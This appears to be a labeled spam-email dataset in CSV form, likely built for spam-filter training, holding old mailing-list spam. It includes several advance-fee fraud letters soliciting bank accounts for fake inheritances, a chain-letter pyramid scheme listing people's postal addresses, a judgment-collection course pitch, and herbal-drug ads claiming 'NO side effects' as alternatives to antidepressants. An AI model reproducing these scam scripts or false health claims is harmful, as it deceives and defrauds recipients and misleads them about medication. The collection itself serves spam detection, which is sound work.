count container of Prozaka tablets PRICE: $180.00 (Reg. price $280 - you SAVE $100) B) SOUTH INTRO OFFER -- Includes the following: * One 1/4 lb. can of Shangrila Zowie Wowie (incl. hookah & herb pipe) * One 300 count jar Gentle Ferocity tablets PRICE: $190.00 (Reg. price $280. You save $90) C) EAST INTRO OFFER -- Includes the following: * One 1/4 lb. can of Shangrila Zowie Wowie (incl. hookah & herb pipe) * One 1 oz. bottle of Sweet Vjestika Aphrodisia Drops PRICE: $170.00 (Reg. price $240. You save $70) D) WEST INTRO OFFER -- Includes the following: * One 1/4 lb. can of Shangrila Zowie Wowie (incl. hookah & herb pipe) * One 2 oz. bottle of Aqueous Kathmandu PRICE: $170.00 (Reg. price $265. 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Since MARCH last year, several attempts have been made to contact Lucio Harper without success and there is no way to contact any of his close relatives in whose favour the investment cash value can be paid. Since we have access to all Lucio Harper's information,we can claim this money with the help of my partners with the South African Mines and natural resources department.All we have to do is to file claim using you as Lucio Harper's relative. I will like to assure you that there is absolutely nothing to worry about,because it is perfectly safe with no risk involved.Please ensure to keep this matter strictly confidential.My partner will file a claim for this money on your behalf from the SouthAfrican mining Corporation.When the claim is approved,you as the beneficiary will be paid (25%) of the total amouth. Since this money can be paid directly into any bank account of your choice,you have responsibility to ensure that my partner and Ireceive(70%)of the total amouth.While the balance (5%) will be set aside for any unforseen expenses in the cause of transfering this money. I will appreciate if you can give your assurance and guarantee that our share will be well secured.Please for the sake of confidentiality,reach me on my e-mail address: manueloko1000@netscape.net . Please let me know if this proposal is acceptable to you. Kindly reach me immediately with any of the stated contact addresses so that better clearifications relating to the transaction will be explained to you. Truly yours Manuel Oko -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",1,1 """DESMOND STEVENS."" ",ilug@linux.ie,"Tue, 3 Dec 2002 13:38:05 +0100",[ILUG] please kindly get back to me,"FROM:MR. DESMOND STEVENS URGENT ASSISTANCE. YOU MAY BE SURPRISED TO RECEIVE THIS LETTER FROM ME SINCE YOU DO NOT KNOW ME PERSONALLY. I AM MR.DESMOND STEVENS, THE FIRST SON OF DR. DENNIS STEVENS, WHO WAS RECENTLY MURDERED IN THE LAND DISPUTE IN ZIMBABWE. I WAS FURNISHED WITH VIABLE INFORMATION FROM THE WORLD TRADE CENTRE HERE IN AMSTERDAM, THE NETHERLANDS AND DECIDED TO WRITE YOU. BEFORE THE DEATH OF MY FATHER, HE HAD TAKEN ME TO AMSTERDAM TO DEPOSIT THE SUM OF TEN MILLION,FIVE HUNDRED THOUSAND UNITED STATES DOLLARS (US$10,500,000) IN A SECURITY COMPANY, AS IF HE FORESAW THE LOOMING DANGER IN ZIMBABWE. THIS MONEY WAS DEPOSITED IN A BOX AS GEMSTONES TO AVOID MUCH DEMURRAGE FROM THE SECURITY COMPANY. THIS AMOUNT WAS MEANT FOR THE PURCHASE OF NEW MACHINES AND CHEMICALS FOR THE FARMS AND ESTABLISHMENT OF NEW FARM IN SWAZILAND. THIS LAND PROBLEM CAME WHEN ZIMBABWE PRESIDENT MR. ROBERT MUGABE, INTRODUCED A NEW LAND ACT THAT WHOLLY AFFECTED RICH WHITE FARMERS AND SOME FEW BLACK FARMERS. THIS RESULTED TO THE KILLING AND MOB ACTION BY ZIMBABWE WAR VETERANS AND SOME LUNATICS IN THE SOCIETY. INFACT, A LOT OF PEOPLE WERE KILLED BECAUSE OF THIS LAND REFORM ACT OF WHICH MY FATHER WAS ONE OF THE VICTIMS. IT IS AGAINST THIS BACKGROUND THAT MY FAMILY AND I WHO ARE CURRENTLY STAYING IN AMSTERDAM DECIDED TO TRANSFER MY FATHERS MONEY TO A FOREIGN ACCOUNT. SINCE THE LAW OF THE NETHERLANDS PROHIBIT A REFUGEE (ASYLUM SEEKER) TO OPEN ANY ACCOUNT OR TO BE INVOLVED IN ANY FINANCIAL TRANSACTION. AS THE ELDEST SON OF MY FATHER, I AM SADDLED WITH THE RESPONSIBILITY OF SEEKING A GENUINE FOREIGN ACCOUNT WHERE THIS MONEY COULD BE TRANSFERRED WITHOUT THE KNOWLEDGE OF MY GOVERNMENT WHO ARE BENT ON TAKING EVERYTHING WE HAVE GOT. I AM FACED WITH THE DILEMMA OF INVESTING THIS AMOUNT OF MONEY IN THE NETHERLANDS FOR THE FEAR OF GOING THROUGH THE SAME EXPERIENCE IN FUTURE SINCE BOTH COUNTRIES HAVE SIMILAR HISTORY. MOREOVER, THE NETHERLANDS FOREIGN EXCHANGE POLICY DOES NOT ALLOW SUCH INVESTMENT FROM ASYLUM SEEKERS. AS A BUSINESSMAN, WHOM I HAVE ENTRUSTED MY FUTURE AND MY FAMILY IN HIS HANDS, I MUST LET YOU KNOW THAT THIS TRANSACTION IS RISK FREE. IF YOU ACCEPT TO ASSIST ME AND MY FAMILY, ALL I NEED YOU TO DO FOR ME IS TO MAKE ARRANGEMENT AND COME TO AMSTERDAM, THE NETHERLANDS SO THAT YOU CAN OPEN THE NON-RESIDENT ACCOUNT WHICH WILL AID US IN TRANSFERRING THE MONEY INTO ANY ACCOUNT YOU WILL NOMINATE OVERSEAS. THIS MONEY I INTEND TO USE FOR INVESTMENT. I HAVE OPTIONS TO OFFER YOU, FIRST YOU CAN CHOOSE TO HAVE CERTAIN PERCENTAGE OF THE MONEY FOR NOMINATING YOUR ACCOUNT FOR THE TRANSACTION, OR YOU CAN GO INTO PARTNERSHIP WITH ME FOR A PROPER PROFITABLE INVESTMENT OF THE MONEY IN YOUR COUNTRY. WHICHEVER OPTION YOU CHOOSE, FEEL FREE TO NOTIFY ME. I HAVE MAPPED OUT 5% OF THIS MONEY FOR ALL EXPENSES INCURRED IN PROCESSING THIS TRANSACTION. IF YOU DO NOT PREFER A PARTNERSHIP, I AM WILLING TO GIVE YOU 25% OF THE MONEY WHILE THE REMAINING 70% THAT IS MEANT FOR ME, WILL BE FOR THE INVESTMENT IN YOUR COUNTRY. PLEASE, CONTACT ME WITH THE ABOVE TELEPHONE AND E-MAIL ADDRESS, WHILE I IMPLORE YOU TO MAINTAIN THE ABSOLUTE SECRECY REQUIRED IN THE TRANSACTION. YOURS FAITHFULLY, DESMOND STEVENS. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",1,1 """Rob"" ",,"Tue, 03 Dec 2002 08:54:07 -1700",hurry," ABC's Good Morning America ranks it the #1 Christmas Toy of the seaso= n! **"" The new 3-inch mini remote control cars are out of stock eve= rywhere! Parents are searching frantically but having no luck. There are millio= ns of kids expecting these for the Holiday season, lets hope somebody gets t= hem in or Santa may be in trouble!"" **Dianne Sawyer, Nov 2002 Sold Out in all stores accross the country. Retail price is $59.99. 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Part time associates are earning between $24,000.00 and $100,000.00 per year . Some choose to operate out of their home and work by themselves. Others build a sizable organization of 15 to 25 people in attractive business offices. Today our company and our associates have over 126 million dollars in Money Judgments that we are currently processing. Of this 126 million, 25 million is in the form of joint ventures between our firm and our associates. Joint ventures are where we make our money. We only break even when our course is purchased. We make a 12% margin on the reports we supply to our associates. Our reporting capability is so extensive that government agencies, police officers, attorneys, credit agencies etc., all come to us for reports. Many of our associates already have real estate liens in force of between 5 million to over 15 million dollars. Legally this means that when the properties are sold or refinanced our associate must be paid off. The norm is 10% interest compounded annually on unpaid Money Judgments. Annual interest on 5 million at 10% translates to $500,000.00 annually in interest income, not counting the payment of the principal. Our associates earn half of this amount or $250,000.00 per year. This is just for interest, not counting principle and not counting the compounding of the interest which can add substantial additional income. Typically companies are sold for 10 times earnings. Just based on simple interest an associate with 5 million in real estate liens could sell their business for approximately 2.5 million dollars. 92% of all of our associates work out of their ho= me; 43% are women and 36% are part time . One of the benefits of working in this field is that you are not under any kind of time frame. If you decide to take off for a month on vacation then go. The Judgments you are working on will be there when you return. The Judgments are still in force, they do not disappear. The way we train you is non-confrontational. You use your computer and telephone to do most of the processing. You never confront the debtor. The debtor doesn't know who you are. You are not a collection agency. Simply stated the steps to successful Money Processing are as follows: Mail our recommended letter to companies and individuals with Money Judgments. (We train you how to find out who to write to) 8% to 11% of the firms and people you write will call you and ask for your help. They call you, you don't call them unless you want to. You send them an agreement (supplied in the course) to sign which splits every dollar you collect 50% to you and 50% to them. This applies no matter if the judgment is for $2,000.00 or $2,000,000.00. You then go on-line to our computers to find the debtor and their assets. We offer over 120 powerful reports to assist you. They range from credit reports from all three credit bureaus, to bank account locates, employment locates, skip traces and locating stocks and bonds, etc. The prices of our reports are very low. Typically 1/2 to 1/3 of what other firms charge. For example we charge $6.00 for an individuals credit report when some other companies charge $25.00. Once you find the debtor and their assets you file garnishments and liens on the assets you have located. (Standard fill in the blanks forms are included in the course) When you receive the assets you keep 50% and send 50% to the original Judgment holder. Once the Judgment is fully paid you mail a Satisfaction of Judgment to the court. (Included in the course) Quote's from several of our students: Thomas in area code 516 writes us: ""I just wanted to drop you a short note thanking you for your excellent course. My first week, part time, will net me 3,700.00 dollars . Your professionalism in both the manual and the video opened doors for me in the future. There's no stopping me now. Recently Thomas states he has over $8,500,000 worth of judgments he is working on. After only having this course for four months, Larry S. in area code 314 stated to us: "" I am now making $2,000.00 per week and expect this to grow to twice this amount with= in the next year. I am having a ball. I have over $250,000 in judgments I am collecting on now."" After having our course for 7 months Larry S. in 314 stated "" I am now making $12,000.00 per month and have approximately $500,000.00 in judgments I am collecting on. Looks like I will have to hire someone to help out"" Marshal in area code 407 states to us ""I feel bad, you only charged me $259.00 for this course and it is a goldmine. I have added 3 full time people to help me after only having your course for 5 months"" >From the above information and actual results you can see why we can state the following: With our course you can own your own successful business. A business which earns you substantial income now and one which could be sold in 3-5 years, paying you enough to retire on and travel the world. A business which is extremely interesting to be in. A Business in which every day is new and exciting. None of your days will be hum-drum. Your brain is Challenged. A business, which protects you from Corporate Downsizing. A business which you can start part time from your home and later, if you so desire, you can work in full time. A business, which is your ticket to freedom from others telling you what to do. A business, which lets you control your own destiny. Our training has made this happen for many others already. Make it happen for you! If the above sounds interesting to you then its time for you to talk to a real live human being, no cost or obligation on your part. Please call us at 1_406_652_0194 . We have Customer Support staff available to you from 8:00= am to 9:00pm (Mountain Time) 7 days a week . If you call this number you can talk to one of our experienced Customer Support personnel. They can answer any questions you may have - with no obligation. Sometimes we run special pricing on our courses and combinations of courses. When you call our Customer Support line they can let you know of any specials we may be running. If you like what you read and hear about our courses, then the Customer Support person can work with you to place your order. We are very low key. We merely give you the facts and you can then decide if you want to work with us or not. Thank you for your time and interest. .................................................= .................... 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Eventually, it resulted into full war, I became a widow overnight, helpless situation, without a partner at the moment of calamity, and every person was running for his life. My son and I managed to escape to South Africa safely with the box and some documents of property title. The cash involved inside the box was US$30 Million (Thirty Million United States Dollars). Due to fear and limited rights as a refugee, I deposited the items with a private security company in order not to raise an eyebrow over the box here in South Africa in my sons name JOEL R. ROSSMAN. Be informed that the real content of the box was not disclosed. Meanwhile, I want to travel out of South Africa entirely with this money for investment in your country because of political and economic stability and for future benefit of my child. I want you to assist us claim this box from the security company and get the money into your private account in your country so that we can invest the money wisely. We have in mind to establish a rewarding investment and good relationship with you. Concerning the money, we are prepared to give you reasonable percentage of 30% for your kind assistance. Also, we have decided to set aside 5% of the total sum for expenses that might be incurred by the parties in the course of the transfer both locally and externally. For the interest of this business, do not hesitate to contact my son Mr. JOEL R. ROSSMAN on the above e-mail address immediately you receive this message for more information and to enable us proceed towards concluding all our arrangements. No other person knows about this money apart from my son and I. We await your most urgent response.please we need your fax/phone numbers for esiear communication. Thanking you for your co-operation and God bless you. Best regard, MRS. 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Please put ""Remove"" in subject line to get out of this list. Thanks.",1,0 NbbvxDR4V@sympatico.ca,Awesome@Awesome.com,28 Jun 01 10:05:15 PM,Real Money Maker for Real!,"Dear Friends & Future Millionaire: AS SEEN ON NATIONAL TV: Making over half million dollars every 4 to 5 months from your home for an investment of only $25 U.S. Dollars expense one time THANK'S TO THE COMPUTER AGE AND THE INTERNET ! ================================================== BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! Before you say ''Bull'', please read the following. This is the letter you have been hearing about on the news lately. Due to the popularity of this letter on the Internet, a national weekly news program recently devoted an entire show to the investigation of this program described below, to see if it really can make people money. The show also investigated whether or not the program was legal. Their findings proved once and for all that there are ''absolutely NO Laws prohibiting the participation in the program and if people can -follow the simple instructions, they are bound to make some mega bucks with only $25 out of pocket cost''. DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING BETTER THAN EVER. This is what one had to say: ''Thanks to this profitable opportunity. I was approached many times before but each time I passed on it. I am so gladI finally joined just to see what one could expect in return for the minimal effort and money required. To my astonishment, I received total $ 610,470.00 in 21 weeks, with money still coming in."" Pam Hedland, Fort Lee, New Jersey. =================================================== Here is another testimonial: ""This program has been around for a long time but I never believed in it. But one day when I received this again in the mail I decided to gamble my $25 on it. I followed the simple instructions and walaa ..... 3 weeks later the money started to come in. First month I only made $240.00 but the next 2 months after that I made a total of $290,000.00. So far, in the past 8 months by re-entering the program, I have made over $710,000.00 and I am playing it again. The key to success in this program is to follow the simple steps and NOT change anything.'' More testimonials later but first, ===== PRINT THIS NOW FOR YOUR FUTUREREFERENCE ====== $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ If you would like to make at least $500,000 every 4 to 5 months easily and comfortably, please read the following...THEN READ IT AGAIN and AGAIN!!! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL DREAMS WILL COME TRUE, GUARANTEED! INSTRUCTIONS: =====Order all 5 reports shown on the list below ===== For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems. === When you place your order, make sure you order each of the 5 reports. You will need all 5 reports so that you can save them on your computer and resell them. YOUR TOTAL COST $5 X 5=$25.00. Within a few days you will receive, vie e-mail, each of the 5 reports from these 5 different individuals. Save them on your computer so they will be accessible for you to send to the 1,000's of people who will order them from you. Also make a floppy of these reports and keep it on your desk in case something happen to your computer. IMPORTANT - DO NOT alter the names of the people who are listed next to each report, or their sequence on the list, in any way other than what is instructed below in step '' 1 through 6 '' or you will loose out on majority of your profits. Once you understand the way this works, you will also see how it does not work if you change it. Remember, this method has been tested, and if you alter, it will NOT work !!! People have tried to put their friends/relatives names on all five thinking they could get all the money. But it does not work this way. Believe us, we all have tried to be greedy and then nothing happened. So Do Not try to change anything other than what is instructed. Because if you do, it will not work for you. Remember, honesty reaps the reward!!! 1.... After you have ordered all 5 reports, take this advertisement and REMOVE the name & address of the person in REPORT # 5. This person has made it through the cycle and is no doubt counting their fortune. 2.... Move the name & address in REPORT # 4 down TO REPORT # 5. 3.... Move the name & address in REPORT # 3 down TO REPORT # 4. 4.... Move the name & address in REPORT # 2 down TO REPORT # 3. 5.... Move the name & address in REPORT # 1 down TO REPORT # 2 6.... Insert YOUR name & address in the REPORT # 1 Position. PLEASE MAKE SURE you copy every name & address ACCURATELY! ========================================================== **** Take this entire letter, with the modified list of names, and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save this on a disk as well just in case if you loose any data. To assist you with marketing your business on the internet, the 5 reports you purchase will provide you with invaluable marketing information which includes how to send bulk e-mails legally, where to find thousands of free classified ads and much more. There are 2 Primary methods to get this venture going: METHOD # 1: BY SENDING BULK E-MAIL LEGALLY ========================================================== Let's say that you decide to start small, just to see how it goes, and we will assume You and those involved send out only 5,000 e-mails each. Let's also assume that the mailing receive only a 0.2% response (the response could be much better but lets just say it is only 0.2%. Also many people will send out hundreds of thousands e-mails instead of only 5,000 each). Continuing with this example, you send out only 5,000 e-mails. With a 0.2% response, that is only 10 orders for report # 1. Those 10 people responded by sending out 5,000 e-mail each for a total of 50,000. Out of those 50,000 e-mails only 0.2% responded with orders. That's=100 people responded and ordered Report # 2 . Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails. The 0.2% response to that is 1000 orders for Report # 3. Those 1000 people send out 5,000 e-mails each for a total of 5 million e-mails sent out. The 0.2% response to that is 10,000 orders for Report # 4. Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000 (50 million) e-mails. The 0.2% response to that is 100,000 orders for Report # 5 THAT'S 100,000 ORDERS TIMES $5 EACH=$500,000.00 (half million). Your total income in this example is: 1..... $50 + 2..... $500 + 3..... $5,000 + 4 ... $50,000 + 5..... $500,000 ........ Grand Total=$555,550.00 NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGUREOUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY ! ========================================================= REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for a moment what would happen if everyone or half or even one 4th of those people mailed 100,000e-mails each or more? There are over 150 million people on the Internet worldwide and counting. Believe me, many people will do just that, and more! METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET ======================================================= Advertising on the net is very very inexpensive and there are hundreds of FREE places to advertise. Placing a lot of free ads on the Internet will easily get a larger response. We strongly suggest you start with Method # 1 and dd METHOD # 2 as you go along. For every $5 you receive, all you must do is e-mail them the Report they ordered. That's it. Always provide same day service on all orders. This will guarantee that the e-mail they send out, with your name and address on it, will be prompt because they can not advertise until they receivethe report. =========== AVAILABLE REPORTS ==================== ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5 cash (U.S. CURRENCY) for each Report. Checks NOT accepted. Make sure the cash is concealed by wrapping it in at least 2 sheets of paper. On one of those sheets of paper, Write the NUMBER & the NAME of the Report you are ordering, YOUR E-MAIL ADDRESS and your name and postal address. PLACE YOUR ORDER FOR THESE REPORTS NOW : ==================================================== REPORT # 1: ""The Insider's Guide to Advertising for Free on the Net"" Order Report #1 from: A. Christ 1208 Allendale Rd. Mechanicsburg, PA 17055 ___________________________________________________________ REPORT # 2: ""The Insider's Guide to Sending Bulk e-mail on the Net"" Order Report # 2 from: Michael P. 2508 Robin Altus, OK 73521 USA ____________________________________________________________ REPORT # 3: ""Secret to Multilevel Marketing on the Net"" Order Report # 3 from : D. J. 16 Northcrest Dr. London, ONTARIO, CANADA N5X 3V8 __________________________________________________________ REPORT # 4: ""How to Become a Millionaire Utilizing MLM & the Net"" Order Report # 4 from: E. Zurbrigg RR #1 St. Marys, ON, Canada N4X 1C4 ____________________________________________________________ REPORT #5: ""How to Send Out 0ne Million e-mails for Free"" Order Report # 5 from: A. Ebert R. R. #4 Thamesford, Ontario, Canada N0M 2M0 ____________________________________________________________ $$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ Follow these guidelines to guarantee your success: === If you do not receive at least 10 orders for Report #1 within 2 weeks, continue sending e-mails until you do. === After you have received 10 orders, 2 to 3 weeks after that you should receive 100 orders or more for REPORT # 2. If you did not, continue advertising or sending e-mails until you do. === Once you have received 100 or more orders for Report # 2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in ! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the list, you are placed in front of a Different report. You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income you can generate from this business !!! ====================================================== FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just received information that can give you financial freedom for the rest of your life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money in the next few weeks and months than you have ever imagined. Follow the program EXACTLY AS INSTRUCTED. Do Not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report after you have put your name and address in Report #1 and moved others to #2 ...........# 5 as instructed above. One of the people you send this to may send out 100,000 or more e-mails and your name will be on every one of them. Remember though, the more you send out the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent. IT IS UP TO YOU NOW ! ============ MORE TESTIMONIALS ================ ""My name is Mitchell. My wife, Jody and I live in Chicago. I am an accountant with a major U.S. Corporation and I make pretty good money. When I received this program I grumbled to Jodyaboutreceiving ''junk mail''. I made fun of the whole thing,spoutingmy knowledge of the population and percentages involved. I ''knew'' it wouldn't work. Jody totally ignored my supposed intelligence and few days later she jumped in with both feet. I made merciless fun of her, and was ready to lay the old ''I told you so'' on her when the thing didn't work. Well, the laugh was on me! Within 3 weeks she had received 50 responses. Within the next 45 days she had received total $ 147,200.00 ........... all cash! I was shocked. I have joined Jody in her ''hobby''. Mitchell Wolf M.D., Chicago, Illinois ====================================================== ''Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But conservative that I am, I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back''. '' I was surprised when I found my medium size post office box crammed with orders. I made $319,210.00in the first 12 weeks. The nice thing about this deal is that it does not matter where people live. There simply isn't a better investment with a faster return and so big."" Dan Sondstrom, Alberta, Canada ======================================================= ''I had received this program before. I deleted it, but later I wondered if I should have given it a try. Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed again by someone else.........11 months passed then it luckily came again...... I did not delete this one! I made more than $490,000 on my first try and all the money came within 22 weeks."" Susan De Suza, New York, N.Y. ======================================================= ''It really is a great opportunity to make relatively easy money with little cost to you. I followed the simple instructions carefully and within 10 days the money started to come in. My first month I made $20,560.00 and by the end of third month my total cash count was $362,840.00. Life is beautiful, Thanx to internet."". Fred Dellaca, Westport, New Zealand ======================================================= ORDER YOUR REPORTS TODAY AND GET STARTED ON 'YOUR' ROAD TO FINANCIAL FREEDOM ! ======================================================= If you have any questions of the legality of this program, contact the Office of Associate Director for Marketing Practices, Federal Trade Commission, Bureau of Consumer Protection, Washington, D.C. (Note: To avoid delays make sure appropriate postage to Canada is applied if mailing from the US) To be removed: moretips2000@yahoo.com Subject: Remove",1,0 sflvx@mail.ru,,"Thu, 28 Jun 2001 15:21:10 -0700",Have You Never Been Mellow?,"Greetings & Blessings To You! Offering for your ""Sensitive"" Delight: 1. ""Seventh Heaven"" Kathmandu Temple Kiff (tm); a viripotent cannabis alternative for blissful regressions of vexatious depressions... 2. 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An amalgamation of high concentrates of rare euphoric herbas, Kathmandu is offered in a solid jigget/bar format and is actually more UPLIFTING & POISED than cannabis / marijuana while rendering Euphoria, Happiness, Mood-Enhancement, Stress/Depression Relief and promoting contemplativeness, creativity, better sleep, lucid dreaming ... and enhancing the sexual experience!!! Kathmandu Temple Kiff is simply the best and just a little pinch/snippet of the Kathmandu goes a long, ""sensitive"" way. Just 4 or 5 draws of the pipe ... (an herb pipe included with each package of Kathmandu Temple Kiff). PLEASE NOTE: Although no botanical factor in Kathmandu Temple Kiff is illegal or considered to be harmful by regulatory agencies and no tobacco is included therein, it is the policy of our company that Kathmandu Temple Kiff may not be offered or sold to any person that has not attained at least 21 years of age. Ingredients: Kathmandu Temple Kiff is both a euphoriant and an uplifting, calmative relaxant that offers scintillating physical and cerebral ambiance enhancement. Kathmandu Temple Kiff is a proprietary, prescribed amalgamation which includes the following synergistically, synesthesia conglomerated, uncommon herbs, resins, essences, flower-tops and oils in extreme ratio extractment ranging from 8.5 to 1. to 60 to 1, viripotent concentrations : Drachasha, Chavana Prash, Trikatu, Black Seed Herb, Capillaris Herba, Angelica Root, Wild Dagga, Haritaki, Shatavari, Labdunum, Neroli, Unicorn Root, Papaver Rhoes, Dendrobian, Calea Zacalechichi, Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and Gokshura. ********************************************* SWEET VJESTIKA APHRODISIA DROPS (tm) TANTRA PLEASURE SACRAMENT Indeed; a HeavenSent Treasure of Pleasure!! To entice your Passion, To intrigue your Desire, Enchantment's Rapture; Sweet Vjestika Fire.... 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CONTENTS: Whole MaHuang, Bee Pollen, Epimedium Angelica, Rehmannia, Ginger, Schizandra, Polygonatum, Adenophora, Tremella, Tang Kuei, Reishi, Codonopsis, Eucommium, Lycii Berry, Ligusticum, Peony Root, Fo Ti, Atractylodes, Ophiopogon, Royal Jelly, Euryales Seeds, Poria, Licorice, Mountain Peony Bark, Cormi Fruit, Rose Hips, Prince Ginseng, Scrophularia, Alisma, Astragalus, Fennel, Buplerium, Cypera, Aconite, Polygala, Red Sage Root, Jujube Seed, Lotus Seed, Tien Chi Ginseng, Ligus Ticum, Psoralea, Dodder Seed, and Cisthanches in a solution containing 24% pure grain alcohol as a preservative, distilled water and Lecithen as an emulsifier. SUGGESTED USAGE: Sweet Vjestika is extremely potent. Use 10 15 drops sublingually or in juice or tea, not to exceed 25 drops. Best when taken upon an empty stomach approx. 45 minutes before intimacy. Based upon 25 drop increments there are approx. 60 dosages per 1 oz. bottle. Usage should not exceed 2 doses per week. Persons taking any precsription medication or suffering from depression or anxiety, should consult with their health care provider before using. This product is not intented for usage by persons with abnormal blood pressure or any cardiovascular malady or any thyroid dysfunction. Nor is it to be used during pregnancy or by any person under 21 years of age. ********************************************* Also for your sensitive mellowness.... ""Seventh Heaven"" Prosaka Tablets are an entirely natural, proprietary, botanical prescription comprised of uncommon Asian Herbs for Calm, Balance, Serenity and Joyful Living. ""Seventh Heaven"" Prosaka is indeed a most extraordinary, viripotent, calming, centering, mood-enhancing, holistically-formulated, exotic herbaceous alternative to pharmaceutical medications for depression, anxiety, stress, insomnia, etc. NO side effects! NO dependency! Vivaciously Mellow! There is ABSOLUTELY nothing else quite like ""Seventh Heaven"" Prosaka (tm). Ingredients: Seventh Heaven Prosaka tablets contain the following herbal factors in precise prescription: Tadix Salviae, Sensitive Mimosa Bark, Arullus Euphoriae, Shizandra, Frutcus Mori, Caulis, Polygoni Multiflori, Zizphus, Tang Kuei, Cedar Seed, Sweetflag Rhizome, Cuscutae, Amber, Radix Scutellariae, Evodia, Longan, Arizisaema, Cistanches, Radix Polygalae, Red Sage Root and Eucommia. Recommended dosage: 1-2 tablets; 2-3 times per day. ********************************************** Also.... for your ""Sensitive"" ""Pure Energy"" Energization.... ""Seventh Heaven"" Gentle Ferocity Tablets (tm). A ""Seventh Heaven"" non-caffeine, non-ephedrine, non-ephedra, non-MaHuang; viripotent, herbaceous prescription for the dynamic energization of body, mind and spirit. This Gentle Ferocity Formulation is amalgamated in accordance with the fundamental Taoist herbal principle of botanical interactiveness and precursorship which in essence is a molecular equation of the relevant botanical/herbal alkaloids and glycosides interacting with one another to prolificate molecular communion and thereby to achieve demonstrative herbal efficaciousness without negative implication to any aspect of human composition. These Gentle Ferocity Cordial Tablets are incredulously and thoroughly effective. Enjoy! Attention! Attention!! For those of you who seek to achieve most demonstrative/non-invasive/non-prohibitive appetite suppression without the negative implications of ongoing usage of MaHuang Herb, Ephedra/Ephedrine or Caffeine as are so magnaminously utilized in a multitude of herbal ""diet aids"" entitled as ""Thermogenics"" ... this is ABSOLUTELY the herbal agenda/product for you!! Entirely Natural! Increases Energy! Increases Metabolism! Decreases Appetite! Contents: Each Gentle Ferocity Tablet contains 500 mg. of the following proprietary formulated, high-ratio concentrated botanical factors ... Cortex Eucommiae, Radex Polygoni Multiflori, Zizyphus Seed, Fructus Schisandrae, Radix Panax Ginseng, Radix Astragali, Atractylode, Sclerotium, Porial Cocos, Saussurea Tang Kuei, Longan, Radix Paeoniae, Biota Seeds, Glehnia, Radix Salviae, Ligusticum, Lycu Berry, Radix Dioscoreae, Cortex Mouton, Frutcus Corni, Radix Polygalae, Cistanches, Radix Pseudoslellariae and Cortex Aranthopanacis. Recommended dosage: One to two tablets as needed. ======================================== PRICING INFORMATION: 1. SEVENTH HEAVEN KATHMANDU TEMPLE KIFF (tm) One .75 oz. jigget/bar $65.00 One 2.0 oz. jigget/bar $115.00 (Free Capillaris Herba with 2.0 oz. bar. Refer to Capillaris paragraph at end of text) 2. SWEET VJESTIKA APHRODISIA DROPS (tm) One 1.0 oz. bottle $90.00 Two 1.0 oz. bottles $140.00 3. SEVENTH HEAVEN PROSAKA (tm) One 100 tablet tin $40.00 Three 100 tablet tins $105.00 Six 100 tablet tins $185.00 4. SEVENTH HEAVEN GENTLE FEROCITY (tm) One 300 tablet jar $130.00 5. SWEET APHRODISIA INTRO COMBINATION OFFER Includes one, 2.0 oz. jigget/bar of Kathmandu Temple Kiff & one, 1 oz. bottle of Sweet Vjestika Aphrodisia Drops. For $150.00 (Reg. $205.00 Save $55) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) 6. BODY, MIND, SPIRIT ""HEAVENLY"" INTRO COMBINATION OFFER Includes one, 2.0 oz. jigget/bar of Kathmandu Temple Kiff & 1 tin (100 tablets) of Seventh Heaven Prosaka. For $125.00 (Reg. $155.00 Save $30) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) 7. ""PURE ENERGY"" INTRO COMBINATION OFFER Includes one, 2.0 oz. jigget/bar of Kathmandu Temple Kiff & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity. For $170.00 (Reg. $245.00 Save $75) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text) 8. ""SENSITIVE"" PREFERENTIAL INTRO COMBINATION OFFER Includes one, 2.0 oz. jigget/bar of Kathmandu Temple Kiff & 1 tin (100 tablets) of Seventh Heaven Prosaka & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity For $200.00 (Reg. $285.00 Save $85) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) 9. ULTIMATE HERBACEOUSNESS INTRO 